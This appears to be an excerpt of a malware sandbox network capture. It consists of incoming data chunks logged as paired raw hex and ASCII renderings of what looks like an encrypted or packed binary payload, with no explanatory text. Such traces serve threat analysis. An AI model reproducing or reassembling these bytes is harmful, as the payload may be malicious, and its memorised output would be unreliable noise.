2022-01-14 03:59:48 UTC	3593	IN	Data Raw: 44 e7 67 e1 01 fa f7 a1 f5 88 40 b4 53 86 6c 7f 27 a2 75 eb 4c 58 aa 99 64 2d e1 99 ad 18 da 8a a5 a2 58 4c 98 06 dd 5a 6e b8 8c 11 aa 77 56 24 4f b2 88 27 b4 b8 9c dd d8 10 f5 d2 b7 85 26 82 73 4b 47 44 9c ae 48 a8 22 cb 38 05 d2 94 f0 54 22 9e b1 ef 81 1d 09 ba 70 4c d0 a5 4c 19 a3 19 92 25 c8 dc 2c c0 4b 59 a4 44 4b 5c d0 07 1c 85 97 de a2 33 d1 9a 0b 7d fd 50 8c 0a 53 c6 f8 36 f5 4a 87 ba ab 1a 7f 34 8b 3f ec 17 c6 45 a7 da 52 23 4d 7b d1 f0 e7 01 1e 32 26 1a 13 3e e9 d3 c1 aa b7 fd 67 6b 02 19 77 e1 44 7b 59 3e e2 a5 57 e3 c1 60 31 26 2e a3 6f 11 5e 5c 1f 7d 3c 3d 7c 5d 7c 46 6f a3 a1 0d 6a 75 12 f5 7a c7 c9 80 71 db 1d d4 f5 24 e9 24 e8 52 f4 38 5d e7 03 8c 65 9a 72 7e 31 e2 01 ec 2a 29 d3 88 18 cf 80 08 3b bd ef 9a bd 8d 35 05 c1 64 c2 37 05 c6 94 Data Ascii: Dg@Sl'uLXd-XLZnwV$O'&sKGDH"8T"pLL%,KYDK\3}PS6J4?ER#M{2&>gkwD{Y>W`1&.o^\}<=\|]\|Fojuzq$$R8]er~1*);5d7
2022-01-14 03:59:48 UTC	3609	IN	Data Raw: 76 90 af 25 ac fe 6f 04 ff b4 3e 0c 64 39 90 c6 1c e7 f3 a9 24 58 43 87 4a 58 ce 33 ba 75 6b 0e 19 e6 09 80 08 58 ee e7 c9 94 4b a5 c5 89 71 a2 ab 4a 6d 88 95 4e b5 9f 83 dd 76 dc 7e 76 95 3f 0a 4b 80 d8 46 0e 15 71 e2 45 12 1d 05 69 d7 66 0a df a8 5a 2e 4e 30 2a 9c 30 2d b5 c2 d7 9e 70 b5 50 70 26 b6 5c f4 68 3b b9 55 c0 42 06 95 ba 76 18 ee 3b 3f f0 8a be 3e 65 d0 1d b4 62 86 d1 f8 84 25 b4 5c 8f 8b a7 22 bb 5d 06 41 b2 b1 42 4a 33 e7 02 dc 22 96 2c 20 ed ef 67 e0 fa 0a 0c 61 68 c0 8b 00 9f a3 9f 3d be 88 75 a4 8e cb bc b4 23 7e c8 eb db 27 8d bf 51 6f 11 ed bb e1 73 b5 c0 9f 71 a4 87 1c da 6a 7b 37 f8 bd 06 d9 10 f3 85 6c d9 96 15 85 b2 f3 30 bf 14 da 85 41 40 37 2d 8f 99 40 62 5d 05 54 da cf e3 55 71 d8 b6 41 57 f2 3d 9a 91 61 f0 3c bf 73 b1 70 d0 c0 Data Ascii: v%o>d9$XCJX3ukXKqJmNv~v?KFqEifZ.N0*0-pPp&\h;UBv;?>eb%\"]ABJ3", gah=u#~'Qosqj{7l0A@7-@b]TUqAW=a<sp
2022-01-14 03:59:48 UTC	3625	IN	Data Raw: d5 76 87 9a 44 01 1c 5b c3 30 db 1a ae 5e eb 09 cd 70 2e 90 5d ff 13 ad 2c 06 74 d6 54 92 71 52 1c d8 36 08 b6 a1 bf 6d c6 24 a5 0f 67 99 60 37 32 08 6b 4c 55 53 ca c4 91 d1 0d b5 17 75 66 bd ca bc ad 8f fa 06 f0 8c 2e 66 a4 00 50 d1 79 97 03 06 bb a8 4e 38 a0 40 5e 2f c7 b5 5f 50 92 cc eb ae 3c f7 10 fa 6d b8 7d 17 4b 42 6f 37 b1 21 25 0b a8 f2 3b 1e 8b a0 98 79 9d a6 52 d0 76 00 e8 d7 eb 31 0e d1 2c 34 c5 49 ef b2 0f 8d b5 76 2f df c3 b0 12 ba a2 fb 44 ac e7 59 99 0b c6 1c bd 7a 65 8a 4f e2 68 2b c7 9d 3b c3 53 cb d6 e4 8c 67 13 e6 f2 91 97 b7 66 11 63 8a db 2b c3 78 80 0a 60 cd 57 f8 94 c5 9f 26 f3 c0 26 d3 58 09 1f 3e ac 86 e2 4f c5 e8 d1 8a 79 90 f4 be f5 3c 87 c7 c0 b3 23 62 62 0c 2c 7b d2 0d d0 44 d4 ee 3d c0 60 0d 6c 74 19 dc de 8b 2a 8c 1d 09 37 Data Ascii: vD[0^p.],tTqR6m$g`72kLUSuf.fPyN8@^/_P<m}KBo7!%;yRv1,4Iv/DYzeOh+;Sgfc+x`W&&X>Oy<#bb,{D=`lt*7
2022-01-14 03:59:48 UTC	3641	IN	Data Raw: 30 4b 8c 42 68 36 36 31 4d 4d 30 50 77 73 6d 32 66 37 df 30 31 49 4a 62 71 56 a3 5a 31 70 3c 32 71 46 54 00 69 61 78 6f 77 54 7d 70 7a 64 9a 6f 4f 36 99 6e 71 5a 52 50 66 6b 49 75 72 61 43 70 4c 61 65 6b 35 30 69 31 33 4f 65 63 71 42 74 76 49 44 76 72 6a 66 2b 7b 4a 41 08 37 35 31 4f 4d 70 41 04 46 6f 32 6c 3d 76 2f 3b c4 4c 61 71 57 62 89 34 71 32 36 59 7f 54 00 63 12 40 6f 77 5e 64 4b 7a 64 5e 67 48 1e 5a 6d 71 50 75 57 60 66 94 5e 73 61 43 72 64 66 63 6b 33 3c 6b 46 dd 4f 6e 61 62 46 66 72 55 c9 4b 72 6a 66 15 9b 9a 41 68 32 1d 08 4d 4d 7a 23 4d 72 6f 38 09 c6 74 30 37 6f 65 72 74 6e 9b 59 31 70 41 40 70 46 52 13 6f 70 7c 7e 73 45 49 66 15 97 54 6c 49 59 5b 6d 71 50 37 3d 67 6b 4f 64 74 70 47 61 49 78 0c 98 35 30 6a 5a 0e 4f 6e 6d 1e 2d 76 76 4f 55 72 Data Ascii: 0KBh661MM0Pwsm2f701IJbqVZ1p<2qFTiaxowT}pzdoO6nqZRPfkIuraCpLaek50i13OecqBtvIDvrjf+{JA751OMpAFo2l=v/;LaqWb4q26YTc@ow^dKzd^gHZmqPuW`f^saCrdfck3<kFOnabFfrUKrjfAh2MMz#Mro8t07oertnY1pA@pFRop\|~sEIfTlIY[mqP7=gkOdtpGaIx50jZOnm-vvOUr
2022-01-14 03:59:48 UTC	3657	IN	Data Raw: 7a 62 7e 6c 4f 36 27 11 71 5a 5a 50 66 6b db 74 72 61 ef 70 4c 61 5d 69 35 30 60 35 33 4f 6e 67 71 42 77 76 49 44 c7 72 6a 67 a9 4a 4e 41 24 34 35 31 4e 4d 70 50 75 72 6f 33 64 37 74 30 97 49 73 61 c6 57 47 59 6c 72 32 32 7f 46 54 00 69 61 7a 6f 75 54 4c 70 46 64 54 6c 73 34 66 6d 09 58 58 50 6c 6b 49 75 72 61 43 70 4c 61 63 6b 33 30 6c 35 4d 4d 6e 67 f5 40 77 76 4a 44 74 72 68 67 30 4a 55 71 6f 36 8e 31 4d 4d 5f 50 77 63 70 3d eb 08 74 30 30 6c a3 6e 70 56 43 71 08 70 32 38 02 7c 54 00 63 6b 7e 00 55 54 4c 7a 71 1a 49 6c 4f 3c 6a 6a 1e 31 58 50 6c 70 c4 4a 72 61 42 55 9c 88 63 6b 31 18 55 35 33 45 1d 5d 71 42 7d 5e 76 44 74 78 46 49 37 24 6d 41 68 3c 22 bc 71 4d 70 51 52 64 74 bf 59 37 74 31 14 99 9a 61 71 52 6f 60 31 70 38 41 4b 46 54 0a cb 76 15 21 77 Data Ascii: zb~lO6'qZZPfktrapLa]i50`53OngqBwvIDrjgJNA$451NMpPuro3d7t0IsaWGYlr22FTiazouTLpFdTls4fmXXPlkIuraCpLack30l5MMng@wvJDtrhg0JUqo61MM_Pwcp=t00lnpVCqp28\|Tck~UTLzqIlO<jj1XPlpJraBUck1U53E]qB}^vDtxFI7$mAh<"qMpQRdtY7t1aqRo`1p8AKFTv!w
2022-01-14 03:59:48 UTC	3673	IN	Data Raw: 4e 41 92 15 35 31 68 4d 7d 50 26 72 ee 33 76 37 4e 02 31 49 7a 61 7c 56 12 59 b0 71 22 32 c3 7b 54 00 60 61 77 6f 2e 54 4d 70 6a 64 9e 5c 4f 36 6f 6d 7c 5a 05 50 e7 6a 59 75 28 4a 43 70 45 61 6d 6b 4d 30 6f 14 23 4f 9c 7e 71 42 7e 76 47 44 0e 72 eb 66 30 4b 1d 7b 68 36 3c 31 5d 4d 0d 50 76 72 7f 32 50 06 74 30 49 49 66 61 0f 56 44 58 21 70 ac 33 71 46 5d 00 7c 61 e2 6f f4 55 5c 70 2a 75 54 6c 46 36 70 6d ea 5a 59 50 76 6b 6e 44 72 61 3b 70 54 61 f8 6b 36 31 7c 35 ad 4e 6e 67 78 42 6f 76 fc 44 f7 73 7a 67 60 5a 4e 41 61 36 2c 31 f5 4d 71 51 77 72 c5 08 66 37 51 30 2a 49 cb 61 f0 56 57 59 f3 52 32 32 78 46 4f 00 d5 61 fb 6e 67 54 60 31 7a 64 5d 6c 52 36 a4 6d f0 5b 48 50 20 5b 49 75 7b 61 5e 70 8f 61 e2 6a 25 30 92 12 33 4f 67 67 6c 42 b3 76 c8 45 64 72 da Data Ascii: NA51hM}P&r3v7N1Iza\|VYq"2{T`awo.TMpjd\O6om\|ZPjYu(JCpEamkM0o#O~qB~vGDrf0K{h6<1]MPvr2Pt0IIfaVDX!p3qF]\|aoU\puTlF6pmZYPvknDra;pTak61\|5NngxBovDszg`ZNAa6,1MqQwrf7Q0IaVWYR22xFOangT`1zd]lR6m[HP [Iu{a^paj%03OgglBvEdr
2022-01-14 03:59:48 UTC	3689	IN	Data Raw: 5a 4f d9 2f 87 6c d1 68 82 56 87 6a 9a 5b c9 78 c2 72 62 49 b8 72 b4 32 5f 2a 7a 5c 8f 66 0b 60 9a 6f a8 45 2c 55 9c 7e d1 4a 0b 69 96 2f d4 30 97 70 73 4a 96 73 37 15 6f 2d 95 31 74 61 71 64 48 54 62 71 05 6a 93 30 94 4c 04 1a 78 63 45 48 2a 4e 75 74 0a 57 38 76 76 32 7e 4b f9 5d 61 54 2f 54 c1 72 33 65 9d 4d 3e 7b 22 6f af 0b 17 2f 7a 4b 1e 54 7b 42 3e 72 73 64 18 68 53 63 40 78 44 41 51 32 53 70 a0 49 49 54 f1 52 82 36 2f 33 e5 29 28 5d 5a 63 c0 60 cc 43 70 74 ec 0f e3 5c 05 04 97 4b e3 75 26 50 5f 5b e5 7e 05 68 ee 1f c0 77 b8 5a 28 63 b6 6a 28 71 e7 40 e8 6a 1d 65 aa 42 82 2a 88 35 43 7c 64 67 fd 43 15 45 f3 40 e0 73 2f 5a 97 4f aa 41 cf 2c ff 20 24 49 00 63 81 68 ee 30 a1 10 70 2b 40 4d 03 52 7a 4d 36 5d e2 57 27 29 e8 42 4c 1d b3 67 93 6f 07 67 46 Data Ascii: ZO/lhVj[xrbIr2_z\f`oE,U~Ji/0psJs7o-1taqdHTbqj0LxcEHNutW8vv2~K]aT/Tr3eM>{"o/zKT{B>rsdhSc@xDAQ2SpIITR6/3)(]Zc`Cpt\Ku&P_[~hwZ(cj(q@jeB*5C\|dgCE@s/ZOA, $Ich0p+@MRzM6]W')BLgogF
2022-01-14 03:59:48 UTC	3705	IN	Data Raw: 68 50 5c 5d 28 23 11 3d 12 72 2b 53 12 52 20 59 5c 2c 73 06 14 22 18 1a 43 15 53 46 18 29 3a 54 00 0c 1f 6f 36 24 3c 15 14 00 18 05 21 53 66 0a 14 2e 07 1e 03 1c 05 1c 1c 04 43 33 23 0c 01 02 5b 55 6c 79 5c 2c 0f 0b 3c 23 14 1e 20 2a 11 72 2e 06 44 2a 1e 33 07 42 50 52 39 24 1f 3e 24 11 00 42 03 37 10 51 45 28 23 13 1e 22 22 3a 45 19 5d 5c 22 25 3b 70 0c 61 35 1f 12 26 2d 04 13 0b 3a 2f 20 58 12 08 09 2e 0b 33 09 1b 2c 75 02 12 39 32 20 0e 01 3f 4c 40 09 35 70 27 0f 09 16 27 23 0f 39 21 74 24 0b 0b 45 2e 1a 38 18 53 35 7c 28 3e 03 31 10 17 2c 40 03 53 11 5e 45 20 12 0d 25 2f 37 3c 31 03 57 46 2e 05 38 69 0c 0f 0e 2c 05 31 28 15 14 10 3d 0d 23 62 1f 1d 14 5a 0b 35 05 1e 3b 1c 06 18 13 02 23 15 0c 08 5a 5c 38 4c 43 2a 6e 20 14 36 23 0f 39 21 74 15 0f 13 6f Data Ascii: hP\](#=r+SR Y\,s"CSF):To6$<!Sf.C3#[Uly\,<# r.D3BPR9$>$B7QE(#"":E]\"%;pa5&-:/ X.3,u92 ?L@5p''#9!t$E.8S5\|(>1,@S^E %/7<1WF.8i,1(=#bZ5;#Z\8LC*n 6#9!to
2022-01-14 03:59:48 UTC	3721	IN	Data Raw: 5f 32 66 6c 7c 58 59 51 65 6b 49 69 76 61 43 6d 49 67 63 6a 28 35 7e 4c 36 6f 6c 6f 69 4a 7e 56 4d 56 5d 6a 62 75 1d 57 4b 61 69 3e 27 18 49 4b 61 d0 87 76 65 32 66 37 70 45 31 49 73 75 77 43 55 64 30 65 20 b2 f0 43 46 45 7b e1 ff 73 6b 46 cc f9 6c 62 41 7e 72 37 73 7f f1 d7 5d 42 23 79 c9 e4 63 e1 d6 61 cc f4 7f 6d 35 31 6e 27 b3 d6 6d 67 71 4c 72 76 4b 4a 7a 7a 6e 61 22 cb b2 46 6e 23 27 28 4f 43 72 59 71 67 7d 2b 64 25 f4 ad 33 4f 53 60 73 44 c7 c4 35 70 33 2a 7f 43 54 02 71 79 74 69 67 55 4d 6e 7a 7c 51 6c 4f 24 e6 cc 78 5a 58 45 74 66 48 67 f3 35 4a 70 4c 74 71 66 34 22 ed 6d 34 4f 6e 72 63 4f 76 78 40 44 76 67 78 6a 31 45 40 4f 6c 30 27 b0 45 44 76 45 65 6b 6d 20 e6 92 7a 36 11 48 7d 73 f1 f3 44 79 31 7e 31 1a 71 48 5c 06 7c 73 6b 6e 65 d5 50 78 7c Data Ascii: _2fl\|XYQekIivaCmIgcj(5~L6oloiJ~VMV]jbuWKai>'IKave2f7pE1IsuwCUd0e CFE{skFlbA~r7s]B#ycam51n'mgqLrvKJzzna"Fn#'(OCrYqg}+d%3OS`sD5p3*CTqytigUMnz\|QlO$xZXEtfHg5JpLtqf4"m4OnrcOvx@Dvgxj1E@Ol0'EDvEekm z6H}sDy1~1qH\\|sknePx\|
2022-01-14 03:59:48 UTC	3737	IN	Data Raw: 32 22 00 e7 9e 98 93 e0 05 f0 0d 00 04 58 aa af 03 5a 0f ff 00 d1 48 8a 86 41 26 2e 05 00 79 0b e8 4f 4e 5f dc 67 07 a1 08 e9 a3 27 00 cb cc c8 1d 1c c9 d7 cf 05 cd ce db 0e df d9 00 da dc dd de df 1c e0 e1 e3 c0 e4 59 e5 58 0a 50 00 52 51 2e 88 83 b8 4c bc 3e 5a 54 80 b2 31 46 c0 65 c9 50 00 44 1e 8f 80 25 15 10 0f 7f 05 1d d2 8b 88 41 11 89 90 4d 06 40 85 21 cb f5 00 c6 fd d7 80 16 39 f7 77 00 13 74 2f 96 29 03 78 2a 03 f3 a5 ff 81 83 e1 c8 dd a4 21 1c 31 87 74 40 0e fc 43 7c 0f a5 00 05 19 11 fd 35 1a 86 cb 24 06 66 1f 30 22 98 0c 12 0f 81 c4 04 f0 e7 50 99 83 01 eb 97 f2 8a 03 43 7b f7 00 3c 20 76 f5 0e 80 3b 22 75 21 0b 30 7b 01 21 40 60 c6 13 00 02 eb e6 4f 5f 25 ec fa 00 1c 1b 7c 43 06 05 88 14 02 04 40 56 24 13 84 c1 54 d0 d4 f0 dc 76 58 00 29 08 Data Ascii: 2"XZHA&.yON_g'YXPRQ.L>ZT1FePD%AM@!9wt/)x*!1t@C\|5$f0"PC{< v;"u!0{!@`O_%\|C@V$TvX)
2022-01-14 03:59:48 UTC	3753	IN	Data Raw: d0 74 7b 40 e2 00 f2 63 c2 0a e9 f1 5e 07 03 03 a1 0e eb 5f 9d a1 51 d8 eb fb fc f9 7c 60 60 4d 80 16 7d 9e 75 00 7c ba f8 1d 89 b9 00 05 55 98 db e3 6a b1 e1 f4 2a fe 8c 01 5f 2b 03 8d 93 15 14 d7 9b 75 bb 0b 98 19 21 4a 00 01 eb 13 60 1a e1 77 34 00 66 88 0a 46 f4 25 84 c0 1f 74 df 69 80 3b ea ac c4 67 37 75 70 00 51 06 fe b8 58 0c e9 2f 0e 0a 8b 2c fd ef 24 20 e8 13 82 01 7e 03 1c 81 ed e3 3d 50 f7 20 55 2f 08 52 00 89 2e 32 6c 9f fc 26 b1 1e 29 30 c9 40 9d e1 b6 d4 8d 62 00 7f f8 d8 4b 31 e2 e6 97 f2 b0 4c 55 dd 1f 14 91 c0 89 0c 85 17 93 08 75 10 00 de ca 79 03 66 bb 43 88 00 e4 54 aa 2a 49 b9 4e 22 b8 ce 00 75 28 68 be 0b ea 0c 72 00 77 aa b1 40 2c 80 29 1e 01 27 91 16 83 70 7b 04 d8 61 2a 7a 48 00 94 7a 96 3d 43 02 23 01 74 c4 03 39 22 bc f2 34 a2 Data Ascii: t{@c^_Q\|``M}u\|Uj_+u!J`w4fF%ti;g7upQX/,$ ~=P U/R.2l&)0@bK1LUuyfCTIN"u(hrw@,)'p{a*zHz=C#t9"4
2022-01-14 03:59:48 UTC	3769	IN	Data Raw: 0e 28 22 3f 5f 6e c0 e8 93 7a a4 16 a5 00 7d 31 94 89 30 6b 55 3d 00 8b 43 73 f4 44 51 0f ae 00 ba 10 c8 fd 6c 14 20 48 00 81 4c 09 e2 13 d4 08 50 fe 54 07 9e 21 3d 40 58 f5 5c 4f 0f 60 e8 64 47 68 f4 6c 33 70 fa 74 11 78 fd 7c 10 d7 82 df 00 bd f6 49 87 8b 47 44 d0 00 c2 c1 c8 07 98 b1 ea ca 71 12 7c 31 00 03 b7 d8 80 78 8f 8c 4c 00 f2 fe ce 50 11 14 13 f8 7e d6 74 f3 58 3c 90 3f 1d 00 03 49 64 01 02 0d 87 fe a4 16 36 48 78 0e 30 81 80 7c a8 29 6a f9 7d b8 f4 68 0f 88 84 64 4c c3 44 28 81 e0 4e af 39 fc 62 3a 21 48 1c 6c 88 40 64 50 78 7d 81 84 1f 0b c8 9b 5f 4c 40 70 44 8c 32 54 3c 3c 40 b6 95 85 e4 a1 7d 00 74 22 90 19 58 1e 20 ef 00 42 8c f1 0d fa a8 c4 39 f0 78 00 21 94 91 5c e0 28 82 b8 f4 90 00 f2 46 04 58 22 7c 11 98 06 0c 60 8f 10 61 2e 00 79 7f Data Ascii: ("?_nz}10kU=CsDQl HLPT!=@X\O`dGhl3ptx\|IGDq\|1xLP~tX<?Id6Hx0\|)j}hdLD(N9b:!Hl@dPx}_L@pD2T<<@}t"X B9x!\(FX"\|`a.y
2022-01-14 03:59:48 UTC	3785	IN	Data Raw: 42 8d e3 f2 de 91 f0 80 f7 d9 01 8b 14 8f 33 73 54 64 20 f4 20 16 43 34 d1 00 84 bc 03 40 41 75 60 e8 cc d4 e4 3c 50 00 27 81 ec 56 9c 84 89 e7 00 b9 ff 43 4e 8d 70 10 99 1e 76 40 da 40 f5 06 6c 8e 0f ca 7b 89 3d c1 52 01 e8 bb 91 34 96 b0 d0 22 9c 16 06 8e 5e 00 6d 4e cf 16 56 01 00 1e 7e 10 0f c8 c9 cb d1 e6 bc ff c0 cf 89 00 d6 31 ce 21 de 1d 03 3c 02 24 fc 81 c1 cb 02 c0 24 37 3f 07 e4 16 89 7c c6 50 05 3b 01 f7 00 87 ce 31 de 21 b5 03 58 00 d3 48 c1 c8 c4 3a 94 32 e2 fe 00 11 f2 dc de 31 ee 21 f6 00 03 bd 78 5b c6 4a c1 cf 00 3a 7f 8c 86 42 d6 37 f1 00 82 e3 fe 21 d8 03 5c 24 30 63 0c 2a ca 10 3a 00 9c 33 c8 ce 46 f3 82 cf 01 d8 21 69 03 63 c4 18 8b 28 c9 3a 0c 78 52 de 03 2b f0 90 ad 5e 81 b0 91 d1 18 0e 1c 16 87 44 80 72 0e 1d 11 20 0f c8 1e 74 e3 Data Ascii: B3sTd C4@Au`<P'VCNpv@@l{=R4"^mNV~1!<$$7?\|P;1!XH:21!x[J:B7!\$0c*:3F!ic(:xR+^Dr t
2022-01-14 03:59:48 UTC	3801	IN	Data Raw: a1 b1 0a 0c f0 38 6c 00 25 1a 8d 93 0b 7f 79 78 00 82 c7 e8 7b 09 a0 20 0f 06 6a 10 8d 50 83 5f 7f 57 00 9b be 26 42 85 30 71 d8 00 04 c6 40 0a fb c8 7f 10 01 a1 05 14 9c 1c 08 33 c8 09 86 70 30 01 58 f6 be ef 6e d2 42 30 2f b6 00 f0 27 d5 71 b8 e3 da ee 00 df 0f 65 56 f1 e5 e0 61 0e 9e ca 2a 64 00 1c 85 a1 92 d9 07 27 43 cd fc c8 00 2e b7 9c 8e 13 55 ec e6 00 d7 c6 99 e9 af fa 1c f3 ef 61 00 5d 47 c3 a0 de ae 01 ea 4d f6 79 3b f8 e6 c0 01 6c 07 6d 37 78 bc 5c 00 c4 c3 88 42 26 5b 96 ba 00 07 5a 4e 62 73 58 00 a0 f7 fe 76 8f e2 b2 01 00 6d 98 90 d3 a9 ab 4c e0 38 f5 9a 00 dc 99 8b 32 77 33 8f 00 de 18 73 4e 45 c4 12 8e e0 e4 00 fa 04 71 f3 86 78 c5 0f 00 ec 6c 50 46 c0 d0 10 99 2e 63 37 b2 00 18 b7 08 49 66 dd 00 1f 01 97 22 3d cc b4 38 0e a6 c0 16 a7 00 Data Ascii: 8l%yx{ jP_W&B0q@3p0XnB0/'qeVa*d'C.Ua]GMy;lm7x\B&[ZNbsXvmL82w3sNEqxlPF.c7If"=8
2022-01-14 03:59:48 UTC	3817	IN	Data Raw: 69 c8 23 04 b8 84 99 8a 78 06 00 7c 5d 11 08 f6 c2 3b d9 fb 80 ae b5 4a ee cd ec 91 07 0c 13 17 8e 36 c5 6d 07 cf 94 d5 77 24 70 01 f8 e9 42 2e aa c8 ca 00 86 0f 84 f7 c5 90 7a 08 1f 10 e1 49 00 0c 0d 19 18 f1 15 00 20 2a 6b 46 81 5f e5 c8 03 ec c5 16 83 e0 0f 80 34 09 77 0b 06 f6 43 05 00 b9 74 3f 89 bb 0e 16 24 27 2d a0 1c 3e 17 83 c5 09 06 8b 4f 5b 80 17 0a 46 a1 32 f6 a8 01 5c 20 c7 68 64 10 3c e4 31 25 00 f0 1d 3d 90 8a 0b 77 0e 00 46 70 74 14 cb ae 60 15 00 a7 6f f4 a6 25 e1 aa 68 07 ac c1 0b cd 89 13 22 8b b8 30 07 b2 16 01 b3 a2 00 6b 82 83 4b 2e 40 38 d7 5a 00 ac 0e 43 08 94 ec fb 2c 23 ed 8b 03 ff 21 9f d1 b8 0a f9 68 00 a7 4a ef 65 1f a0 a8 23 00 b4 dd 25 d6 0c 5a 62 9a 4a d3 f0 99 50 00 a6 9d 26 7c 65 cf bc 43 07 a5 eb 20 73 29 60 56 c2 0d 50 Data Ascii: i#x\|];J6mw$pB.zI *kF_4wCt?$'->O[F2\ hd<1%=wFpt`o%h"0kK.@8ZC,#!hJe#%ZbJP&\|eC s)`VP
2022-01-14 03:59:48 UTC	3833	IN	Data Raw: 49 5e 58 b9 9c 73 10 0a 00 5c 26 60 09 42 eb 51 8d fc 7e 7d f3 00 3c 18 e0 69 8a 46 95 54 f8 11 00 06 3e 13 a8 5c 1e 43 6c 3d ca 4b 87 10 9c f2 3a 59 80 05 2e 29 b4 e5 00 c3 db 32 17 04 19 3c b3 3c 46 bb 01 e2 27 18 f9 a2 5a 60 b6 71 00 8b 43 79 04 31 78 ca 4c 92 03 01 58 4d 32 76 13 61 47 dc 2e 7c 90 00 03 39 36 d8 cd 6a 1b b8 5f b5 b6 00 8e 3e a5 04 5a 4d 58 8f 00 d4 e2 05 29 0a d3 93 cb f4 bf 01 12 15 4c 1a 46 b3 50 30 e2 e9 1d 0d 25 bc 03 54 ea 13 dc 80 40 05 03 00 80 78 84 22 10 01 3e 50 00 07 df f0 d2 09 bd 70 d7 98 17 00 e9 35 0a 61 1d 78 20 7a 0f 58 42 1a c6 80 44 29 9f 72 01 e3 30 f3 fa 9d 78 54 00 bd 68 2e 82 95 73 19 06 7c 9b 00 44 af c3 89 d4 11 29 1a 1f 18 e5 cc d3 f6 0e 08 ce be 41 90 50 51 88 8f 30 57 42 01 b8 f0 e8 e1 4c f3 1c 30 00 75 3c Data Ascii: I^Xs\&`BQ~}<iFT>\Cl=K:Y.)2<<F'Z`qCy1xLXM2vaG.\|96j_>ZMX)LFP0%T@x">Pp5ax zXBD)r0xTh.s\|D)APQ0WBL0u<
2022-01-14 03:59:48 UTC	3849	IN	Data Raw: 5e 1e fa 6c 3a d4 d9 1f ea b8 80 18 8a 85 a1 ed 84 77 c0 00 8d 7e 0c 0a 75 13 97 fd 00 91 f6 54 2a 81 dc 85 b5 00 83 31 ff d2 eb 10 29 27 28 07 12 f8 00 4a 97 44 fb dd 38 92 91 07 f2 05 ad ee 0a 10 29 47 e4 0c 39 54 85 00 86 87 91 56 92 09 18 00 80 77 ca 39 ff fa 2b 44 00 4c 90 93 e8 12 d9 20 ea f4 d3 00 0f e2 b6 3e 40 03 b2 74 02 79 87 19 d6 6e c9 80 be c2 27 0c 48 03 ba 03 75 7f 50 da c0 45 aa 9a 00 22 e5 d2 ee 32 21 f0 e8 1c 26 74 0d c0 8b ce 06 64 7f 22 f9 40 d8 fd 28 f7 13 2b c6 5a 00 55 92 0b 19 04 1b 03 94 2c a2 be 31 05 d7 57 ea 50 06 0a f0 f8 90 04 00 55 0c c9 20 51 6c 56 87 00 2b 2f d5 f7 11 59 c8 7e 00 cd 66 55 c2 39 3b 3f 28 00 d0 d8 f4 73 4e 0c aa c8 00 dd 5c 48 83 03 a2 d3 7d 0f 7e 54 59 f8 41 89 71 25 8d 20 e9 e4 00 14 26 8a 9f db 65 5d a8 Data Ascii: ^l:w~uT*1)'(JD8)G9TVw9+DL >@tyn'HuPE"2!&td"@(+ZU,1WPU QlV+/Y~fU9;?(sN\H}~TYAq% &e]
2022-01-14 03:59:48 UTC	3865	IN	Data Raw: 52 74 05 03 64 42 57 90 54 22 30 3e 08 0a 77 28 b0 5f 12 a8 c1 72 33 62 ac 1e 91 a0 d3 2e 18 0f 94 b0 7e 11 f8 a4 84 04 78 23 00 6a 40 58 75 13 10 20 70 fe 6e 00 67 ae 5e 9a 74 57 64 60 75 b2 00 24 10 4e 0c b1 f8 c8 63 03 28 50 18 2a 22 08 c8 03 e8 94 00 57 04 64 29 14 10 05 54 07 6a 4c 7c 2b c8 b0 da 85 20 24 76 2a 3d c4 50 80 07 0b 54 14 68 d2 d8 f6 82 60 5a 22 b4 58 52 4c 04 10 cc 2c 19 3a c2 69 04 60 4e 91 ec 07 3e fc 65 59 2d 20 c4 11 02 74 00 4a fe e6 b8 ce 1d 08 94 14 72 06 50 a6 00 73 df 98 f2 aa cc 85 07 64 07 39 13 48 60 60 22 10 40 7a 05 00 43 6c 61 73 c7 99 38 24 74 58 00 74 2f 0f c5 49 26 71 03 fe 41 00 64 61 70 7b 5a 60 80 51 0e 01 34 2f 9c 9f c0 ec 52 d0 11 9e a6 00 c0 20 af 14 3d 82 da 37 3e a2 f0 60 16 60 25 74 80 fe e0 3b 09 72 80 30 ec Data Ascii: RtdBWT"0>w(_r3b.~x#j@Xu png^tWd`u$Nc(P"Wd)TjL\|+ $v=PTh`Z"XRL,:i`N>eY- tJrPsd9H``"@zClas8$tXt/I&qAdap{Z`Q4/R =7>``%t;r0
2022-01-14 03:59:48 UTC	3881	IN	Data Raw: 8c 85 e0 08 ac 00 58 93 97 04 a4 32 c0 d4 00 42 c2 a0 19 49 8a bf 6c 00 7a 27 90 61 24 e0 d9 ea 37 e1 78 16 90 f0 52 38 b9 7c c9 00 74 54 1e b5 87 64 e9 41 1f 09 3c 1b 5f 4e 40 0c b2 f0 11 2c 3d 00 25 de 9d 45 96 a7 43 b6 e8 3e 00 a3 93 ae a2 16 d4 68 19 ee b0 00 30 02 40 27 41 84 1a ec 00 76 25 bd 85 4c 06 a0 20 1f 2c e8 55 00 bb f1 43 cd 7e 92 01 41 49 b0 f0 75 82 71 60 80 76 00 50 ba 62 5a 09 c2 9a a2 00 d6 8e 26 46 1c cf ac 40 fd c8 02 51 00 9c 13 21 c3 a2 8a a3 bf 00 b0 0b 31 61 e4 b4 9a 36 00 4f 04 0e 86 47 89 74 a7 00 26 ec a1 32 34 6d c9 ad 24 3b 0b 79 07 41 b0 d0 b0 12 1f 9d 87 00 32 e4 61 05 39 91 3a 0e 00 f2 e7 cb f7 71 24 17 1c 2e c2 1e 98 00 d0 18 cc d9 1d 3b 00 ff c9 c7 24 04 1c e4 2e 09 98 fd ed 97 80 68 4f c6 d0 cf 00 f5 cd 12 f1 c2 ca de Data Ascii: X2BIlz'a$7xR8\|tTdA<_N@,=%EC>h0@'Av%L ,UC~AIuq`vPbZ&F@Q!1a6OGt&24m$;yA2a9:q$.;$.hO
